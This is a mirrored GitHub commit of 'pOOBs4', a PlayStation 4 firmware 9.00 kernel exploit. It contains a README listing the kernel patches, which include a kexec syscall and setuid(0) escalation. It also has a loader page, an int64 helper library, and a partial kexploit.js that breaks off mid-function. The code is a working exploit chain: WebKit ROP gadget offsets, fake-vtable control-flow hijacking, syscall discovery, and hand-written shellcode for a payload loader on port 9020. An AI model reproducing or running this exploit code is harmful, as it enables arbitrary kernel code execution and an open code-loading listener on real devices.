mirror of
https://github.com/ChendoChap/pOOBs4
synced 2024-11-15 13:35:03 -05:00
9.00 Kernel Exploit
This commit is contained in:
commit
ac6de328b4
30
README.md
Normal file
30
README.md
Normal file
@ -0,0 +1,30 @@
|
||||
# PS4 9.00 Kernel Exploit
|
||||
---
|
||||
## Summary
|
||||
In this project you will find an implementation that tries to make use of a filesystem bug for the Playstation 4 on firmware 9.00.
|
||||
The bug was found while diffing the 9.00 and 9.03 kernels. It will require a drive with a modified exfat filesystem. Successfully triggering it will allow you to run arbitrary code as kernel, to allow jailbreaking and kernel-level modifications to the system. will launch the usual payload launcher (on port 9020).
|
||||
|
||||
## Patches Included
|
||||
The following patches are applied to the kernel:
|
||||
1) Allow RWX (read-write-execute) memory mapping (mmap / mprotect)
|
||||
2) Syscall instruction allowed anywhere
|
||||
3) Dynamic Resolving (`sys_dynlib_dlsym`) allowed from any process
|
||||
4) Custom system call #11 (`kexec()`) to execute arbitrary code in kernel mode
|
||||
5) Allow unprivileged users to call `setuid(0)` successfully. Works as a status check, doubles as a privilege escalation.
|
||||
6) (`sys_dynlib_load_prx`) patch
|
||||
7) Disable delayed panics from sysVeri
|
||||
## Notes
|
||||
- You need to insert the USB when the alert pops up, then let it sit there for a bit until the ps4 storage notifications shows up.
|
||||
- Unplug the USB before a (re)boot cycle or you'll risk corrupting the kernel heap at boot.
|
||||
- The browser might tempt you into closing the page prematurely, don't.
|
||||
- The loading circle might freeze while the webkit exploit is triggering, this means nothing.
|
||||
|
||||
## Contributors
|
||||
|
||||
- laureeeeeee
|
||||
- [Specter](https://twitter.com/SpecterDev)
|
||||
- [Znullptr](https://twitter.com/Znullptr)
|
||||
|
||||
## Special Thanks
|
||||
- [Andy Nguyen](https://twitter.com/theflow0)
|
||||
- [sleirsgoevy](https://twitter.com/sleirsgoevy) - [9.00 Webkit exploit](https://gist.github.com/sleirsgoevy/6beca32893909095f4bba1ce29167992)
|
BIN
exfathax.img
Normal file
BIN
exfathax.img
Normal file
Binary file not shown.
82
index.html
Normal file
82
index.html
Normal file
@ -0,0 +1,82 @@
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<title>pOOBs4 9.00</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<style>
|
||||
body {
|
||||
background-color: #242629;
|
||||
}
|
||||
|
||||
.loader {
|
||||
position: absolute;
|
||||
left: 50%;
|
||||
top: 50%;
|
||||
margin: -75px 0 0 -75px;
|
||||
|
||||
border: 10px solid #1f1e1e;
|
||||
border-radius: 50%;
|
||||
border-top: 10px solid #044595;
|
||||
border-left: 10px solid #044595;
|
||||
width: 120px;
|
||||
height: 120px;
|
||||
animation: spin 1s linear infinite;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
0% {
|
||||
transform: rotate(0deg);
|
||||
}
|
||||
|
||||
100% {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
.info {
|
||||
overflow: hidden;
|
||||
position: fixed;
|
||||
position: absolute;
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
|
||||
font-size: 45px;
|
||||
font-family: sans-serif;
|
||||
color: #b8b8b8;
|
||||
|
||||
transform: translate(-50%, -50%);
|
||||
}
|
||||
</style>
|
||||
<script>
|
||||
function allset() {
|
||||
document.getElementById("loader").style.display = "none";
|
||||
document.getElementById("allset").style.display = "block";
|
||||
}
|
||||
|
||||
function awaitpl() {
|
||||
document.getElementById("loader").style.display = "none";
|
||||
document.getElementById("awaiting").style.display = "block";
|
||||
}
|
||||
</script>
|
||||
<script src="int64.js"></script>
|
||||
<script src="rop.js"></script>
|
||||
<script src="kexploit.js"></script>
|
||||
<script src="webkit.js"></script>
|
||||
</head>
|
||||
|
||||
</html>
|
||||
|
||||
<body onload="setTimeout(poc, 1500);">
|
||||
<div id="loader" class="loader"></div>
|
||||
<div id="awaiting" class="info" style="display:none;">
|
||||
Awaiting Payload...
|
||||
</div>
|
||||
|
||||
<div id="allset" class="info" style="display:none;">
|
||||
You're all set!
|
||||
</div>
|
||||
|
||||
</body>
|
||||
<script>
|
||||
|
||||
</script>
|
328
int64.js
Normal file
328
int64.js
Normal file
@ -0,0 +1,328 @@
|
||||
// Taken from https://github.com/saelo/jscpwn/blob/master/int64.js
|
||||
//
|
||||
// Copyright (c) 2016 Samuel Groß
|
||||
function int64(low, hi) {
|
||||
this.low = (low >>> 0);
|
||||
this.hi = (hi >>> 0);
|
||||
|
||||
this.add32inplace = function (val) {
|
||||
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
|
||||
var new_hi = (this.hi >>> 0);
|
||||
|
||||
if (new_lo < this.low) {
|
||||
new_hi++;
|
||||
}
|
||||
|
||||
this.hi = new_hi;
|
||||
this.low = new_lo;
|
||||
}
|
||||
|
||||
this.add32 = function (val) {
|
||||
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
|
||||
var new_hi = (this.hi >>> 0);
|
||||
|
||||
if (new_lo < this.low) {
|
||||
new_hi++;
|
||||
}
|
||||
|
||||
return new int64(new_lo, new_hi);
|
||||
}
|
||||
|
||||
this.sub32 = function (val) {
|
||||
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
|
||||
var new_hi = (this.hi >>> 0);
|
||||
|
||||
if (new_lo > (this.low) & 0xFFFFFFFF) {
|
||||
new_hi--;
|
||||
}
|
||||
|
||||
return new int64(new_lo, new_hi);
|
||||
}
|
||||
|
||||
this.add64 = function(val) {
|
||||
var new_lo = (((this.low >>> 0) + val.low) & 0xFFFFFFFF) >>> 0;
|
||||
var new_hi = (this.hi >>> 0);
|
||||
|
||||
if (new_lo > (this.low) & 0xFFFFFFFF) {
|
||||
new_hi++;
|
||||
}
|
||||
new_hi = (((new_hi >>> 0) + val.hi) & 0xFFFFFFFF) >>> 0;
|
||||
return new int64(new_lo, new_hi);
|
||||
}
|
||||
this.sub64 = function(val) {
|
||||
var new_lo = (((this.low >>> 0) - val.low) & 0xFFFFFFFF) >>> 0;
|
||||
var new_hi = (this.hi >>> 0);
|
||||
|
||||
if (new_lo > (this.low) & 0xFFFFFFFF) {
|
||||
new_hi--;
|
||||
}
|
||||
new_hi = (((new_hi >>> 0) - val.hi) & 0xFFFFFFFF) >>> 0;
|
||||
return new int64(new_lo, new_hi);
|
||||
}
|
||||
|
||||
this.sub32inplace = function (val) {
|
||||
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
|
||||
var new_hi = (this.hi >>> 0);
|
||||
|
||||
if (new_lo > (this.low) & 0xFFFFFFFF) {
|
||||
new_hi--;
|
||||
}
|
||||
|
||||
this.hi = new_hi;
|
||||
this.low = new_lo;
|
||||
}
|
||||
|
||||
this.and32 = function (val) {
|
||||
var new_lo = this.low & val;
|
||||
var new_hi = this.hi;
|
||||
return new int64(new_lo, new_hi);
|
||||
}
|
||||
|
||||
this.and64 = function (vallo, valhi) {
|
||||
var new_lo = this.low & vallo;
|
||||
var new_hi = this.hi & valhi;
|
||||
return new int64(new_lo, new_hi);
|
||||
}
|
||||
|
||||
this.toString = function (val) {
|
||||
val = 16;
|
||||
var lo_str = (this.low >>> 0).toString(val);
|
||||
var hi_str = (this.hi >>> 0).toString(val);
|
||||
|
||||
if (this.hi == 0)
|
||||
return lo_str;
|
||||
else
|
||||
lo_str = zeroFill(lo_str, 8)
|
||||
|
||||
return hi_str + lo_str;
|
||||
}
|
||||
|
||||
this.toPacked = function () {
|
||||
return {
|
||||
hi: this.hi,
|
||||
low: this.low
|
||||
};
|
||||
}
|
||||
|
||||
this.setPacked = function (pck) {
|
||||
this.hi = pck.hi;
|
||||
this.low = pck.low;
|
||||
return this;
|
||||
}
|
||||
|
||||
return this;
|
||||
}
|
||||
|
||||
function zeroFill(number, width) {
|
||||
width -= number.toString().length;
|
||||
|
||||
if (width > 0) {
|
||||
return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
|
||||
}
|
||||
|
||||
return number + ""; // always return a string
|
||||
}
|
||||
function Int64(low, high) {
|
||||
var bytes = new Uint8Array(8);
|
||||
|
||||
if (arguments.length > 2 || arguments.length == 0)
|
||||
throw TypeError("Incorrect number of arguments to constructor");
|
||||
if (arguments.length == 2) {
|
||||
if (typeof low != 'number' || typeof high != 'number') {
|
||||
throw TypeError("Both arguments must be numbers");
|
||||
}
|
||||
if (low > 0xffffffff || high > 0xffffffff || low < 0 || high < 0) {
|
||||
throw RangeError("Both arguments must fit inside a uint32");
|
||||
}
|
||||
low = low.toString(16);
|
||||
for (let i = 0; i < 8 - low.length; i++) {
|
||||
low = "0" + low;
|
||||
}
|
||||
low = "0x" + high.toString(16) + low;
|
||||
}
|
||||
|
||||
switch (typeof low) {
|
||||
case 'number':
|
||||
low = '0x' + Math.floor(low).toString(16);
|
||||
case 'string':
|
||||
if (low.substr(0, 2) === "0x")
|
||||
low = low.substr(2);
|
||||
if (low.length % 2 == 1)
|
||||
low = '0' + low;
|
||||
var bigEndian = unhexlify(low, 8);
|
||||
var arr = [];
|
||||
for (var i = 0; i < bigEndian.length; i++) {
|
||||
arr[i] = bigEndian[i];
|
||||
}
|
||||
bytes.set(arr.reverse());
|
||||
break;
|
||||
case 'object':
|
||||
if (low instanceof Int64) {
|
||||
bytes.set(low.bytes());
|
||||
} else {
|
||||
if (low.length != 8)
|
||||
throw TypeError("Array must have excactly 8 elements.");
|
||||
bytes.set(low);
|
||||
}
|
||||
break;
|
||||
case 'undefined':
|
||||
break;
|
||||
}
|
||||
|
||||
// Return a double whith the same underlying bit representation.
|
||||
this.asDouble = function () {
|
||||
// Check for NaN
|
||||
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
|
||||
throw new RangeError("Can not be represented by a double");
|
||||
|
||||
return Struct.unpack(Struct.float64, bytes);
|
||||
};
|
||||
|
||||
this.asInteger = function () {
|
||||
if (bytes[7] != 0 || bytes[6] > 0x20) {
|
||||
debug_log("SOMETHING BAD HAS HAPPENED!!!");
|
||||
throw new RangeError(
|
||||
"Can not be represented as a regular number");
|
||||
}
|
||||
return Struct.unpack(Struct.int64, bytes);
|
||||
};
|
||||
|
||||
// Return a javascript value with the same underlying bit representation.
|
||||
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
|
||||
// due to double conversion constraints.
|
||||
this.asJSValue = function () {
|
||||
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[
|
||||
6] == 0xff))
|
||||
throw new RangeError(
|
||||
"Can not be represented by a JSValue");
|
||||
|
||||
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
|
||||
return Struct.unpack(Struct.float64, this.sub(0x1000000000000).bytes());
|
||||
};
|
||||
|
||||
// Return the underlying bytes of this number as array.
|
||||
this.bytes = function () {
|
||||
var arr = [];
|
||||
for (var i = 0; i < bytes.length; i++) {
|
||||
arr.push(bytes[i])
|
||||
}
|
||||
return arr;
|
||||
};
|
||||
|
||||
// Return the byte at the given index.
|
||||
this.byteAt = function (i) {
|
||||
return bytes[i];
|
||||
};
|
||||
|
||||
// Return the value of this number as unsigned hex string.
|
||||
this.toString = function () {
|
||||
var arr = [];
|
||||
for (var i = 0; i < bytes.length; i++) {
|
||||
arr.push(bytes[i])
|
||||
}
|
||||
return '0x' + hexlify(arr.reverse());
|
||||
};
|
||||
|
||||
this.low32 = function () {
|
||||
return new Uint32Array(bytes.buffer)[0] >>> 0;
|
||||
};
|
||||
|
||||
this.hi32 = function () {
|
||||
return new Uint32Array(bytes.buffer)[1] >>> 0;
|
||||
};
|
||||
|
||||
this.equals = function (other) {
|
||||
if (!(other instanceof Int64)) {
|
||||
other = new Int64(other);
|
||||
}
|
||||
for (var i = 0; i < 8; i++) {
|
||||
if (bytes[i] != other.byteAt(i))
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
};
|
||||
|
||||
this.greater = function (other) {
|
||||
if (!(other instanceof Int64)) {
|
||||
other = new Int64(other);
|
||||
}
|
||||
if (this.hi32() > other.hi32())
|
||||
return true;
|
||||
else if (this.hi32() === other.hi32()) {
|
||||
if (this.low32() > other.low32())
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
};
|
||||
// Basic arithmetic.
|
||||
// These functions assign the result of the computation to their 'this' object.
|
||||
|
||||
// Decorator for Int64 instance operations. Takes care
|
||||
// of converting arguments to Int64 instances if required.
|
||||
function operation(f, nargs) {
|
||||
return function () {
|
||||
if (arguments.length != nargs)
|
||||
throw Error("Not enough arguments for function " + f.name);
|
||||
var new_args = [];
|
||||
for (var i = 0; i < arguments.length; i++) {
|
||||
if (!(arguments[i] instanceof Int64)) {
|
||||
new_args[i] = new Int64(arguments[i]);
|
||||
} else {
|
||||
new_args[i] = arguments[i];
|
||||
}
|
||||
}
|
||||
return f.apply(this, new_args);
|
||||
};
|
||||
}
|
||||
|
||||
this.neg = operation(function neg() {
|
||||
var ret = [];
|
||||
for (var i = 0; i < 8; i++)
|
||||
ret[i] = ~this.byteAt(i);
|
||||
return new Int64(ret).add(Int64.One);
|
||||
}, 0);
|
||||
|
||||
this.add = operation(function add(a) {
|
||||
var ret = [];
|
||||
var carry = 0;
|
||||
for (var i = 0; i < 8; i++) {
|
||||
var cur = this.byteAt(i) + a.byteAt(i) + carry;
|
||||
carry = cur > 0xff | 0;
|
||||
ret[i] = cur;
|
||||
}
|
||||
return new Int64(ret);
|
||||
}, 1);
|
||||
|
||||
this.assignAdd = operation(function assignAdd(a) {
|
||||
var carry = 0;
|
||||
for (var i = 0; i < 8; i++) {
|
||||
var cur = this.byteAt(i) + a.byteAt(i) + carry;
|
||||
carry = cur > 0xff | 0;
|
||||
bytes[i] = cur;
|
||||
}
|
||||
return this;
|
||||
}, 1);
|
||||
|
||||
|
||||
this.sub = operation(function sub(a) {
|
||||
var ret = [];
|
||||
var carry = 0;
|
||||
for (var i = 0; i < 8; i++) {
|
||||
var cur = this.byteAt(i) - a.byteAt(i) - carry;
|
||||
carry = cur < 0 | 0;
|
||||
ret[i] = cur;
|
||||
}
|
||||
return new Int64(ret);
|
||||
}, 1);
|
||||
}
|
||||
|
||||
// Constructs a new Int64 instance with the same bit representation as the provided double.
|
||||
Int64.fromDouble = function (d) {
|
||||
var bytes = Struct.pack(Struct.float64, d);
|
||||
return new Int64(bytes);
|
||||
};
|
||||
|
||||
// Some commonly used numbers.
|
||||
Int64.Zero = new Int64(0);
|
||||
Int64.One = new Int64(1);
|
||||
Int64.NegativeOne = new Int64(0xffffffff, 0xffffffff);
|
635
kexploit.js
Normal file
635
kexploit.js
Normal file
@ -0,0 +1,635 @@
|
||||
var chain;
|
||||
var kchain;
|
||||
var kchain2;
|
||||
var SAVED_KERNEL_STACK_PTR;
|
||||
var KERNEL_BASE_PTR;
|
||||
|
||||
var webKitBase;
|
||||
var webKitRequirementBase;
|
||||
|
||||
var libSceLibcInternalBase;
|
||||
var libKernelBase;
|
||||
|
||||
var textArea = document.createElement("textarea");
|
||||
|
||||
const OFFSET_wk_vtable_first_element = 0x104F110;
|
||||
const OFFSET_WK_memset_import = 0x000002A8;
|
||||
const OFFSET_WK___stack_chk_fail_import = 0x00000178;
|
||||
const OFFSET_WK_psl_builtin_import = 0xD68;
|
||||
|
||||
const OFFSET_WKR_psl_builtin = 0x33BA0;
|
||||
|
||||
const OFFSET_WK_setjmp_gadget_one = 0x0106ACF7;
|
||||
const OFFSET_WK_setjmp_gadget_two = 0x01ECE1D3;
|
||||
const OFFSET_WK_longjmp_gadget_one = 0x0106ACF7;
|
||||
const OFFSET_WK_longjmp_gadget_two = 0x01ECE1D3;
|
||||
|
||||
const OFFSET_libcint_memset = 0x0004F810;
|
||||
const OFFSET_libcint_setjmp = 0x000BB5BC;
|
||||
const OFFSET_libcint_longjmp = 0x000BB616;
|
||||
|
||||
const OFFSET_WK2_TLS_IMAGE = 0x38e8020;
|
||||
|
||||
|
||||
const OFFSET_lk___stack_chk_fail = 0x0001FF60;
|
||||
const OFFSET_lk_pthread_create = 0x00025510;
|
||||
const OFFSET_lk_pthread_join = 0x0000AFA0;
|
||||
|
||||
var nogc = [];
|
||||
var syscalls = {};
|
||||
var gadgets = {};
|
||||
var wk_gadgetmap = {
|
||||
"ret": 0x32,
|
||||
"pop rdi": 0x319690,
|
||||
"pop rsi": 0x1F4D6,
|
||||
"pop rdx": 0x986C,
|
||||
"pop rcx": 0x657B7,
|
||||
"pop r8": 0xAFAA71,
|
||||
"pop r9": 0x422571,
|
||||
"pop rax": 0x51A12,
|
||||
"pop rsp": 0x4E293,
|
||||
|
||||
"mov [rdi], rsi": 0x1A97920,
|
||||
"mov [rdi], rax": 0x10788F7,
|
||||
"mov [rdi], eax": 0x9964BC,
|
||||
|
||||
"cli ; pop rax": 0x566F8,
|
||||
"sti": 0x1FBBCC,
|
||||
|
||||
"mov rax, [rax]": 0x241CC,
|
||||
"mov rax, [rsi]": 0x5106A0,
|
||||
"mov [rax], rsi": 0x1EFD890,
|
||||
"mov [rax], rdx": 0x1426A82,
|
||||
"mov [rax], edx": 0x3B7FE4,
|
||||
"add rax, rsi": 0x170397E,
|
||||
"mov rdx, rax": 0x53F501,
|
||||
"add rax, rcx": 0x2FBCD,
|
||||
"mov rsp, rdi": 0x2048062,
|
||||
"mov rdi, [rax + 8] ; call [rax]": 0x751EE7,
|
||||
"infloop": 0x7DFF
|
||||
};
|
||||
|
||||
var wkr_gadgetmap = {
|
||||
"xchg rdi, rsp ; call [rsi - 0x79]": 0x1d74f0 //JOP 3
|
||||
};
|
||||
|
||||
var wk2_gadgetmap = {
|
||||
"mov [rax], rdi": 0xFFDD7,
|
||||
"mov [rax], rcx": 0x2C9ECA,
|
||||
};
|
||||
var hmd_gadgetmap = {
|
||||
"add [r8], r12": 0x2BCE1
|
||||
};
|
||||
var ipmi_gadgetmap = {
|
||||
"mov rcx, [rdi] ; mov rsi, rax ; call [rcx + 0x30]": 0x344B
|
||||
};
|
||||
|
||||
function userland() {
|
||||
|
||||
p.launch_chain = launch_chain;
|
||||
p.malloc = malloc;
|
||||
p.malloc32 = malloc32;
|
||||
p.stringify = stringify;
|
||||
p.array_from_address = array_from_address;
|
||||
p.readstr = readstr;
|
||||
|
||||
var textAreaAddr = p.leakval(textArea);
|
||||
var textAreVtablePtrPtr = textAreaAddr.add32(0x18);
|
||||
var textAreaVtPtr = p.read8(textAreVtablePtrPtr);
|
||||
|
||||
//pointer to vtable address
|
||||
var textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18));
|
||||
//address of vtable
|
||||
var textAreaVtable = p.read8(textAreaVtPtr);
|
||||
//use address of 1st entry (in .text) to calculate webkitbase
|
||||
webKitBase = p.read8(textAreaVtable).sub32(OFFSET_wk_vtable_first_element);
|
||||
|
||||
libSceLibcInternalBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_memset_import)));
|
||||
libSceLibcInternalBase.sub32inplace(OFFSET_libcint_memset);
|
||||
|
||||
libKernelBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK___stack_chk_fail_import)));
|
||||
libKernelBase.sub32inplace(OFFSET_lk___stack_chk_fail);
|
||||
|
||||
webKitRequirementBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_psl_builtin_import)));
|
||||
webKitRequirementBase.sub32inplace(OFFSET_WKR_psl_builtin);
|
||||
|
||||
for (var gadget in wk_gadgetmap) {
|
||||
window.gadgets[gadget] = webKitBase.add32(wk_gadgetmap[gadget]);
|
||||
}
|
||||
for (var gadget in wkr_gadgetmap) {
|
||||
window.gadgets[gadget] = webKitRequirementBase.add32(wkr_gadgetmap[gadget]);
|
||||
}
|
||||
|
||||
function get_jmptgt(address) {
|
||||
var instr = p.read4(address) & 0xFFFF;
|
||||
var offset = p.read4(address.add32(2));
|
||||
if (instr != 0x25FF) {
|
||||
return 0;
|
||||
}
|
||||
return address.add32(0x6 + offset);
|
||||
}
|
||||
|
||||
function malloc(sz) {
|
||||
var backing = new Uint8Array(0x10000 + sz);
|
||||
window.nogc.push(backing);
|
||||
var ptr = p.read8(p.leakval(backing).add32(0x10));
|
||||
ptr.backing = backing;
|
||||
return ptr;
|
||||
}
|
||||
|
||||
function malloc32(sz) {
|
||||
var backing = new Uint8Array(0x10000 + sz * 4);
|
||||
window.nogc.push(backing);
|
||||
var ptr = p.read8(p.leakval(backing).add32(0x10));
|
||||
ptr.backing = new Uint32Array(backing.buffer);
|
||||
return ptr;
|
||||
}
|
||||
|
||||
function array_from_address(addr, size) {
|
||||
var og_array = new Uint32Array(0x1000);
|
||||
var og_array_i = p.leakval(og_array).add32(0x10);
|
||||
|
||||
p.write8(og_array_i, addr);
|
||||
p.write4(og_array_i.add32(8), size);
|
||||
|
||||
nogc.push(og_array);
|
||||
return og_array;
|
||||
}
|
||||
|
||||
function stringify(str) {
|
||||
var bufView = new Uint8Array(str.length + 1);
|
||||
for (var i = 0; i < str.length; i++) {
|
||||
bufView[i] = str.charCodeAt(i) & 0xFF;
|
||||
}
|
||||
window.nogc.push(bufView);
|
||||
return p.read8(p.leakval(bufView).add32(0x10));
|
||||
}
|
||||
|
||||
function readstr(addr) {
|
||||
var str = "";
|
||||
for (var i = 0;; i++) {
|
||||
var c = p.read1(addr.add32(i));
|
||||
if (c == 0x0) {
|
||||
break;
|
||||
}
|
||||
str += String.fromCharCode(c);
|
||||
|
||||
}
|
||||
return str;
|
||||
}
|
||||
|
||||
function array_from_address(addr, size) {
|
||||
var og_array = new Uint32Array(0x1000);
|
||||
var og_array_i = p.leakval(og_array).add32(0x10);
|
||||
|
||||
p.write8(og_array_i, addr);
|
||||
p.write4(og_array_i.add32(8), size);
|
||||
|
||||
nogc.push(og_array);
|
||||
return og_array;
|
||||
}
|
||||
|
||||
var fakeVtable_setjmp = p.malloc32(0x200);
|
||||
var fakeVtable_longjmp = p.malloc32(0x200);
|
||||
var original_context = p.malloc32(0x40);
|
||||
var modified_context = p.malloc32(0x40);
|
||||
|
||||
p.write8(fakeVtable_setjmp.add32(0x0), fakeVtable_setjmp);
|
||||
p.write8(fakeVtable_setjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_setjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8]
|
||||
p.write8(fakeVtable_setjmp.add32(0x10), original_context);
|
||||
p.write8(fakeVtable_setjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_setjmp));
|
||||
p.write8(fakeVtable_setjmp.add32(0x1C8), webKitBase.add32(OFFSET_WK_setjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8]
|
||||
|
||||
p.write8(fakeVtable_longjmp.add32(0x0), fakeVtable_longjmp);
|
||||
p.write8(fakeVtable_longjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_longjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8]
|
||||
p.write8(fakeVtable_longjmp.add32(0x10), modified_context);
|
||||
p.write8(fakeVtable_longjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_longjmp));
|
||||
p.write8(fakeVtable_longjmp.add32(0x1C8), webKitBase.add32(OFFSET_WK_longjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8]
|
||||
|
||||
function launch_chain(chain) {
|
||||
chain.push(window.gadgets["pop rdi"]);
|
||||
chain.push(original_context);
|
||||
chain.push(libSceLibcInternalBase.add32(OFFSET_libcint_longjmp));
|
||||
|
||||
p.write8(textAreaVtPtr, fakeVtable_setjmp);
|
||||
textArea.scrollLeft = 0x0;
|
||||
p.write8(modified_context.add32(0x00), window.gadgets["ret"]);
|
||||
p.write8(modified_context.add32(0x10), chain.stack);
|
||||
p.write8(modified_context.add32(0x40), p.read8(original_context.add32(0x40)))
|
||||
|
||||
p.write8(textAreaVtPtr, fakeVtable_longjmp);
|
||||
textArea.scrollLeft = 0x0;
|
||||
p.write8(textAreaVtPtr, textAreaVtable);
|
||||
}
|
||||
|
||||
var kview = new Uint8Array(0x1000);
|
||||
var kstr = p.leakval(kview).add32(0x10);
|
||||
var orig_kview_buf = p.read8(kstr);
|
||||
|
||||
p.write8(kstr, window.libKernelBase);
|
||||
p.write4(kstr.add32(8), 0x40000);
|
||||
var countbytes;
|
||||
|
||||
for (var i = 0; i < 0x40000; i++) {
|
||||
if (kview[i] == 0x72 && kview[i + 1] == 0x64 && kview[i + 2] == 0x6c && kview[i + 3] == 0x6f && kview[i + 4] == 0x63) {
|
||||
countbytes = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
p.write4(kstr.add32(8), countbytes + 32);
|
||||
var dview32 = new Uint32Array(1);
|
||||
var dview8 = new Uint8Array(dview32.buffer);
|
||||
for (var i = 0; i < countbytes; i++) {
|
||||
if (kview[i] == 0x48 && kview[i + 1] == 0xc7 && kview[i + 2] == 0xc0 && kview[i + 7] == 0x49 && kview[i + 8] == 0x89 && kview[i + 9] == 0xca && kview[i + 10] == 0x0f && kview[i + 11] == 0x05) {
|
||||
dview8[0] = kview[i + 3];
|
||||
dview8[1] = kview[i + 4];
|
||||
dview8[2] = kview[i + 5];
|
||||
dview8[3] = kview[i + 6];
|
||||
var syscallno = dview32[0];
|
||||
window.syscalls[syscallno] = window.libKernelBase.add32(i);
|
||||
}
|
||||
}
|
||||
p.write8(kstr, orig_kview_buf);
|
||||
|
||||
chain = new rop();
|
||||
}
|
||||
|
||||
function run_hax() {
|
||||
userland();
|
||||
if (chain.syscall(23, 0).low != 0x0) {
|
||||
kernel();
|
||||
//this wk exploit is pretty stable we can probably afford to kill webkit before payload loader but should we?.
|
||||
}
|
||||
|
||||
var payload_buffer = chain.syscall(477, new int64(0x26200000, 0x9), 0x300000, 7, 0x41000, -1, 0);
|
||||
var payload_loader = p.malloc32(0x1000);
|
||||
|
||||
var loader_writer = payload_loader.backing;
|
||||
loader_writer[0] = 0x56415741;
|
||||
loader_writer[1] = 0x83485541;
|
||||
loader_writer[2] = 0x894818EC;
|
||||
loader_writer[3] = 0xC748243C;
|
||||
loader_writer[4] = 0x10082444;
|
||||
loader_writer[5] = 0x483C2302;
|
||||
loader_writer[6] = 0x102444C7;
|
||||
loader_writer[7] = 0x00000000;
|
||||
loader_writer[8] = 0x000002BF;
|
||||
loader_writer[9] = 0x0001BE00;
|
||||
loader_writer[10] = 0xD2310000;
|
||||
loader_writer[11] = 0x00009CE8;
|
||||
loader_writer[12] = 0xC7894100;
|
||||
loader_writer[13] = 0x8D48C789;
|
||||
loader_writer[14] = 0xBA082474;
|
||||
loader_writer[15] = 0x00000010;
|
||||
loader_writer[16] = 0x000095E8;
|
||||
loader_writer[17] = 0xFF894400;
|
||||
loader_writer[18] = 0x000001BE;
|
||||
loader_writer[19] = 0x0095E800;
|
||||
loader_writer[20] = 0x89440000;
|
||||
loader_writer[21] = 0x31F631FF;
|
||||
loader_writer[22] = 0x0062E8D2;
|
||||
loader_writer[23] = 0x89410000;
|
||||
loader_writer[24] = 0x2C8B4CC6;
|
||||
loader_writer[25] = 0x45C64124;
|
||||
loader_writer[26] = 0x05EBC300;
|
||||
loader_writer[27] = 0x01499848;
|
||||
loader_writer[28] = 0xF78944C5;
|
||||
loader_writer[29] = 0xBAEE894C;
|
||||
loader_writer[30] = 0x00001000;
|
||||
loader_writer[31] = 0x000025E8;
|
||||
loader_writer[32] = 0x7FC08500;
|
||||
loader_writer[33] = 0xFF8944E7;
|
||||
loader_writer[34] = 0x000026E8;
|
||||
loader_writer[35] = 0xF7894400;
|
||||
loader_writer[36] = 0x00001EE8;
|
||||
loader_writer[37] = 0x2414FF00;
|
||||
loader_writer[38] = 0x18C48348;
|
||||
loader_writer[39] = 0x5E415D41;
|
||||
loader_writer[40] = 0x31485F41;
|
||||
loader_writer[41] = 0xC748C3C0;
|
||||
loader_writer[42] = 0x000003C0;
|
||||
loader_writer[43] = 0xCA894900;
|
||||
loader_writer[44] = 0x48C3050F;
|
||||
loader_writer[45] = 0x0006C0C7;
|
||||
loader_writer[46] = 0x89490000;
|
||||
loader_writer[47] = 0xC3050FCA;
|
||||
loader_writer[48] = 0x1EC0C748;
|
||||
loader_writer[49] = 0x49000000;
|
||||
loader_writer[50] = 0x050FCA89;
|
||||
loader_writer[51] = 0xC0C748C3;
|
||||
loader_writer[52] = 0x00000061;
|
||||
loader_writer[53] = 0x0FCA8949;
|
||||
loader_writer[54] = 0xC748C305;
|
||||
loader_writer[55] = 0x000068C0;
|
||||
loader_writer[56] = 0xCA894900;
|
||||
loader_writer[57] = 0x48C3050F;
|
||||
loader_writer[58] = 0x006AC0C7;
|
||||
loader_writer[59] = 0x89490000;
|
||||
loader_writer[60] = 0xC3050FCA;
|
||||
chain.syscall(74, payload_loader, 0x4000, (0x1 | 0x2 | 0x4));
|
||||
|
||||
var pthread = p.malloc(0x10);
|
||||
chain.call(libKernelBase.add32(OFFSET_lk_pthread_create), pthread, 0x0, payload_loader, payload_buffer);
|
||||
awaitpl();
|
||||
}
|
||||
|
||||
function kernel() {
|
||||
extra_gadgets();
|
||||
kchain_setup();
|
||||
object_setup();
|
||||
trigger_spray();
|
||||
}
|
||||
|
||||
var handle;
|
||||
var random_path;
|
||||
var ex_info;
|
||||
|
||||
function load_prx(name) {
|
||||
//sys_dynlib_load_prx
|
||||
var res = chain.syscall(594, p.stringify(`/${random_path}/common/lib/${name}`), 0x0, handle, 0x0);
|
||||
if (res.low != 0x0) {
|
||||
alert("failed to load prx/get handle " + name);
|
||||
}
|
||||
//sys_dynlib_get_info_ex
|
||||
p.write8(ex_info, 0x1A8);
|
||||
